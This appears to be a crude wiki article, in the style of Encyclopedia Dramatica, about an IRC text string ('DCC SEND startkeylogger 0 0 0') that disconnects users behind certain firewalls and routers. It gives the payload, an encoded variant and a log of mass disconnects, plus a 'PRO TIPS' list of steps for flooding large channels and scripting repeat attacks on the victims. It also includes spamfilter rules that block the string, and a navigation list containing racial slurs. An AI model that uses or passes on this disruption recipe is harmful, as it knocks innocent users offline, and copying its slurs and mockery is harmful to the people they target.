DCC SEND startkeylogger 0 0 0

The phrase �DCC SEND startkeylogger 0 0 0 (that's a \x01 character in front) is frequently used by H4x0rs on IRC to make Norton and some retarded Linksys / Netgear routers shit on the connection. It had highly dramatic effects, causing pricks who use Norton or shitty Linksys / Netgear routers to drop off the face of the internets, often flooding the channel with spam. It only needs to be �DCC SEND (14+ chrs) See: startkeylogger

Example

This is what it looks like when a H4x0r unleashes his vagina powers upon the IRC channel:

[15:07:44] <Fail-chan> DCC SEND "startkeylogger" 0 0 0
[15:07:44] * oneszero has quit (Read error: Connection reset by peer)
[15:07:44] * billspork has quit (Read error: Connection reset by peer)
[15:07:44] * cynistyr- has quit (Read error: Connection reset by peer)
[15:07:44] * AudioVENT has quit (Read error: Connection reset by peer)
[15:07:44] * mikel has quit (Read error: Connection reset by peer)
[15:07:44] * Crispy` has quit (Read error: Connection reset by peer)
[15:07:44] * ste_ has quit (Read error: Connection reset by peer)
[15:07:44] * tzennator has quit (Read error 54: Connection reset by peer)
[15:07:44] * Short has quit (Read error: Connection reset by peer)
[15:07:44] * RedXIII has quit (Read error: Connection reset by peer)
[15:07:44] * Urkav has quit (Read error: Connection reset by peer)
[15:07:44] * mflynn00 has quit (Read error: Connection reset by peer)
[15:07:44] * SicdoggV has quit (Read error: Connection reset by peer)
[15:07:45] * HyPn0m0D has quit (Read error: Connection reset by peer)
[15:07:45] * lonequid has quit (Read error: Connection reset by peer)
[15:07:45] * MytSouriS has quit (Read error: Connection reset by peer)
[15:07:45] * Furious_G has quit (Read error: Connection reset by peer)
[15:07:45] * ChunkeyMo has quit (Read error: Connection reset by peer)
[15:07:45] * Antizac has quit (Read error: Operation timed out)

Another example is here. Wonder why this bug still exists in 2011, eh?

You can also encode things between the "s to effect more people. Posted below, but not shown correctly due to wiki fail.

??�DCC SEND "ff???f?𝑹𝑰𝑷𝑳𝑶𝑳𝑺𝑼𝑷𝑮𝑼𝒀𝑺" 0 0 0

Stopping this shit

To make the exploit less effective on your IRC experience, buy a new router or connect to the IRC server using SSL. The latter also prevents eavesdropping on your connection.

PRO TIPS

To maximize the drama, follow these steps:

1. Connect to an IRC Network
2. /list all Channels with more than 50 members and join all of them
3. /amsg �DCC SEND startkeylogger 0 0 0 or any other command that causes your client to send a message to all channels
4. You will probably get kicked from most chans. Write down the nicks of those who got pwnt.
5. Convert these names into a script that sends each of them message, containing the evil words
6. Give them some time to reconnect, then execute your script
7. Execute previous step until you get banned from the network.
8. ???
9. PROFIT

Alternatively you can make this your wireless network id to annoy people within your general vicinity.

Filtering this from your network

I've thrown together some quick and dirty UnrealIRCd spamfilter commands to help deal with these exploits. Refinements and improvements welcome!

/spamfilter + cpnNPqat block - norton_firewall_exploit startkeylogger
/spamfilter + cpnNPqat block - norton_firewall_exploit stopkeylogger
/spamfilter + cpNPqat block - linksys_netgear_exploit ^DCC SEND ..............

(The last one has 14 dots at the end of the pattern.)

If you want to add these to your config file, use

spamfilter {
  regex "^DCC SEND ..............";
  target { channel; private; private-notice; part; quit; away; topic; };
  action block;
  reason "linksys netgear exploit";
};
spamfilter {
  regex "startkeylogger";
  target { channel; private; private-notice; part; quit; away; topic; private-notice; };
  action block;
  reason "norton firewall exploit";
};

External Links

• "explains it better"

DCC SEND startkeylogger 0 0 0 is part of a series on Trolls Visit the Trolls Portal for complete coverage.

DCC SEND startkeylogger 0 0 0 is part of a series on IRC	Please visit the IRC PORTAL for more A-B • C-D • E-F • G-H • I-J • K-L • M-N • O-P Q-R • S-T • U-V • W-X • Y-Z • # ASCII • Abducted IRC • Alan Sullivan • AnonNet • AnonOps • Anthrochat • Aol.pl • Austnet • Axila • BLACK MAN • Banbot • Bantown • Bonzi_b • BonziWORLD • Bookz • Boten Anna • Botnet • Buttes Chirpnet • Cigarsex • Crapflood • DCC SEND startkeylogger 0 0 0 • Dau.pl • Dongforce • Doxbin EmiNet • Firefox XPS IRC Attack • Freenode • Freenodegate • Fuck You Garrett • Gay Nigger Association of America • Gay Nigger Association of America/Victories • Gay.pl • Get On IRC Fgt • Good job opers • Grove • HorseNews • Hueg.pl IRC • ED:IRC • IRC FAQ • IRC-Gallery • IRC CASE STUDY: Andres • Icechat • Idlenet • Insub • Internet Freedom Movement • Ircimages • Irssi • Irssi/scripts • Irssi/scripts/aol.pl • Irssi/scripts/blocks.pl • Is chat dead? K-line • Kale • Kloeri • Kunwon1 • L0de Radio Hour • LOL WUT/ASCII • Lilypichu Meepsheep • MIRC • MIRC Script • Michael Horowitz Foster • NekoArc • User:NekoArc/Krack.in • Niggest Crook Force Odin • Penis Pump • phobos • Psystra Quitting IRC Forever • R000t • Raspberryheaven • Ravpup • Rizbow • Rizon • Robert Levin Snitch • Snugglenets • Snugglenets/Nay Quits Irc Forever Again • Something is on fire • The Great ED IRC War of 2013 • ToKeN • Tomgreen • Tsukihi ( ͡° ͜ʖ ͡°) Weev • Wharrrgarbl • Wikipedia IRC Bouncers Zaiger ( ͡° ͜ʖ ͡°)